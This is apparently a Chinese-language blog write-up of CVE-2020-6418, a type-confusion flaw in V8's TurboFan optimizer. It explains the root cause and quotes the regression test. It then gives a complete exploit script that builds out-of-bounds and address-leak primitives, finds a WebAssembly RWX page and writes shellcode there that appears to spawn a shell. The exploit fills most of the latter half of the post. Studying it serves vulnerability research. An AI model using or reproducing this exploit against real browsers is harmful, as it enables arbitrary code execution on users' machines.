【V8】CVE-2020-6418 利用

漏洞

这个漏洞仍然是发生在 TurboFan 对函数调用的优化过程中的。在 TurboFan 对生成的图转化成机器码的过程中,对于某些调用函数的节点(如 JSCall),会尝试将其内联。在内联之前,会通过 InferReceiverMapsUnsafe 函数(src/compiler/node-properties.cc)遍历节点的 effect,从而推导该调用函数调用者的类型(Map),同时返回该推导的正确性。

如上图,该函数会遍历右边的这些 effect 链上的节点,从而推导 receiver(由 JSLoadContext 节点产生)的类型。该函数对于 JSCreate 节点的处理部分如下面代码所示:

NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(…) {
    // …
    while (true) {
        // …
        case IrOpcode::kJSCreate: {
            if (IsSame(receiver, effect)) {
                // …
                // We reached the allocation of the {receiver}.
                return kNoReceiverMaps;
            }
            break;
        }
    }
}

可以看到,如果 receiver 节点与该 JSCreate 节点不是同一个节点时,这个函数认为该 JSCreate 节点不会对 receiver 类型产生影响,因此不会做任何操作。但是实际上,可以通过 Reflect.construct 构造出一个 JSCreate 节点,且该节点可以执行用户定义的代码。我们查看提供的回归测试代码:

let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
    a.pop(Reflect.construct(empty, arguments, p));
}

let p = new Proxy(Object, {
    get: () => (a[0] = 1.1, Object.prototype)
});

function main(p) {
    f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);

main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);

可以看到,通过 Reflect.construct 作为 a.pop 的参数,而 Reflect.construct 会在 Inlining 阶段的 JSCallReducer 中通过 ReduceReflectConstruct 函数转化成为 JSCreate 节点。(当然还有一些限制,该函数不能是最外层的函数,所以上述代码中必须通过 main 函数调用 f 函数,具体可以参考:https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90 或者阅读代码理解)。

而当传递给 Reflect.construct 的第三个参数为 p 对象时,会调用 p.prototype 赋值给新创建的对象,这时由于通过 Proxy 重写了 get 函数,会执行 get 函数自定义的代码,在该代码中通过 a[0] 改写了数组 a 的类型,从而造成了类型混淆。

而在内联化数组的 pop 函数(还有其他类似的函数,例如 push 等)的时候,会根据 InferReceiverMapsUnsafe 产生的推断和可信程度决定是否添加 CheckMaps 节点:

Reduction JSCallReducer::ReduceArrayPrototypePop(Node *node) {
    // …
    MapInference inference(broker(), receiver, effect);  // 这个类在创建时会调用 InferReceiverMapsUnsafe 函数
    // …
    inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect, control, p.feedback());  // 这个函数会根据推断类型决定要不要添加 CheckMaps 节点
    // …
}

由于当前调用 pop 函数的节点的 effect 链上所有的节点 TurboFan 都认为不会对 receiver 的类型进行修改,因此在内联 pop 函数的时候就不会对 receiver 添加 CheckMaps 节点,从而根据推导出来的 Map 内联后续操作。(之所以将 Reflect.construct 作为 pop 的参数是为了将 JSCreate 节点作为调用 pop 函数节点的 effect 链的一部分,如果不作为 effect 链的一部分,则在进入该节点的 effect 链之前还会对数组的 Map 进行检查,从而无法实现类型混淆。)

此外,对于这个漏洞的利用还需要借助 Pointer Compression 的特征。关于 Pointer Compression 可以参考:https://v8.dev/blog/pointer-compression,简单来说就是在 64-bit 系统下,V8 为了节省内存,使用 32-bit 的值来表示原来需要使用 64-bit 进行保存的地址。比如对于原来的指针类型,选定一个 4GB 对齐的基地址,保存在根寄存器中,而 V8 的对象仅保存相对于这个地址的偏移。但是对于 Double 类型,由于 V8 原来就不是用 Tagged Pointer 的形式进行保存它,因此不压缩,仍然以 64-bit 来保存。那么这个特性对利用有什么帮助呢?我们可以首先构造存储 Double 类型的数组(PACKED_DOUBLE_ELEMENTS),在 Proxy 对象的 Handle 中通过存储一个对象其改成使用指针进行保存的数组(PACKED_ELEMENTS)。由于使用 Double 类型进行存储是一个元素是 8 个字节,改成指针类型存储时一个元素是 4 个字节,则数组的 Elements 指向的空间会被缩小。但是内联的 pop 操作由于缺少对数组的检查,仍然认为其每个元素是 8 个字节,之后在进行 pop 或者 push 操作时就会产生越界读写。

利用

由于存在越界读写,因此我们可以通过越界写来改变一个 Double 类型的数组(成为 oob_array)的 length 属性,使得 oob_array 实现任意索引的越界读写。之后的利用思路与之前基本一致,通过一个 victim_obj 实现 addr_of 原语,然后通过 WASM 获得 RWX 页面的地址,在该页面中写入 Shellcode 最终实现执行。

但是需要注意的是,泄漏 RWX 页面地址的时候不能借助 ArrayBuffer。因为 ArrayBuffer 的 Backing Storage 指针也不是 Tagged Pointer,因此在 Pointer Compression 中也不会被压缩,所以需要使用绝对地址。但是通过越界读实现的 addr_of 原语只能泄漏出压缩后的指针值,无法泄漏基地址,因此无法通过 ArrayBuffer 实现任意读。

我们可以借助普通的 Double 类型数组(victim_array),在普通的数组中,Elements 指针也是 Tagged Pointer,因此也是被压缩的,所以通过 oob_array 越界改写 victim_array 的 Elements 指向泄漏的被压缩后的指针地址,可以泄漏该地址处的值,从而通过 WASM 读取到 RWX 页面地址。

(除了上述使用普通数组的方法,还可以参考:https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90 使用 BitUint64Array 的方式,该数组同时包含了偏移信息和基地址信息,因此目前来看 Pointer Compression 对利用没有过大的影响。)

最终得到的 RWX 页面地址是绝对地址,因此通过 ArrayBuffer 实现写入即可。

* 此外,需要注意的是上述回归测试中的 f 函数、empty 函数都需要被优化之后,才能在 main 函数中被合起来优化。

完整 Exp

var g_buffer = new ArrayBuffer(16);
var g_float64 = new Float64Array(g_buffer);
var g_uint64 = new BigUint64Array(g_buffer);

function float2address(f) {
    g_float64[0] = f;
    return g_uint64[0];
}


function address2float(addr) {
    let i = BigInt(addr);
    g_uint64[0] = i;
    return g_float64[0];
}


function hex(i) {
    return '0x' + i.toString(16).padStart('0');
}

// =================================================================
// Start Pwn
// =================================================================

let a = [, , , , , , , , , , , , , , , , 1.1, 2.2, 3.3, 4.4, 5.5];  // 数组的大小需要经过调试得到,使得 push 的那个位置正好是 oob_array 的 length 属性
let oob_array = undefined;
function empty() { }

function f(p) {
    var value = a.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy ? 0 : 2.0237e-320);  // 这个条件判断实际没有什么用,就是为了让 JSCreate 在这个 effect 链中
    for (var i = 0; i < 0x10000; ++i) { }  // 触发 JIT 优化
    return value;
}

function main(func) {
    for (var i = 0; i < 0x10000; ++i) { }  // 触发 JIT 优化
    return f(func);
}

let p = new Proxy(Object, {
    get: () => {
        a[0] = {};
        oob_array = [1.1];
        return Object.prototype;
    }
});

for (var i = 0; i < 0x10000; ++i) {
    empty();  // 触发 JIT 优化
}

a.pop();
a.pop();
a.pop();
// 三个 pop 为下面三个 main 创造空间
main(empty);
main(empty);
main(p);

var test = {};
var victim_obj = {obj: test};
var victim_array = [1.1];
var control_buffer = new ArrayBuffer(0x1000);

var addr_of_index = 14;
var victim_array_index = 21;
var victim_array_length_index = 22;
var control_buffer_backing_index = 28;

function relative_addr_of(obj) {
    victim_obj.obj = obj;
    var address = float2address(oob_array[addr_of_index]) / 0x100000000n;
    return Number(address) - 1;
}

function change_victim_array_length(length) {
    length = 2 * length;
    var old_value = float2address(oob_array[victim_array_length_index]);
    old_value = old_value / 0x100000000n;
    var new_value = old_value * 0x100000000n + BigInt(length);
    oob_array[victim_array_length_index] = address2float(new_value);
}

function read_relative_address(address, offset=0) {
    var old_value = float2address(oob_array[victim_array_index]);
    old_value = old_value % 0x100000000n;
    var new_value = BigInt(address - 0x8 + 1) * 0x100000000n + old_value;
    oob_array[victim_array_index] = address2float(new_value);
    return float2address(victim_array[offset]);
}

change_victim_array_length(0x100);

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1,
127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0,
1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2,
0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 10, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var func = wasmInstance.exports.main;

var func_addr = relative_addr_of(func);
var shared_info = read_relative_address(func_addr + 0x8) / 0x100000000n;
var data = read_relative_address(Number(shared_info) - 1) / 0x100000000n;
var instance = read_relative_address(Number(data) - 1 + 0x8) % 0x100000000n;
var rwx_address = read_relative_address(Number(instance) + 103);

oob_array[control_buffer_backing_index] = address2float(rwx_address);
var data_view = new DataView(control_buffer);
data_view.setInt32(0x00, 0x99583b6a, true);
data_view.setInt32(0x04, 0x2fbb4852, true);
data_view.setInt32(0x08, 0x6e69622f, true);
data_view.setInt32(0x0c, 0x5368732f, true);
data_view.setInt32(0x10, 0x57525f54, true);
data_view.setInt32(0x14, 0x050f5e54, true);

func();

参考

Leave a Reply

Your email address will not be published. Required fields are marked *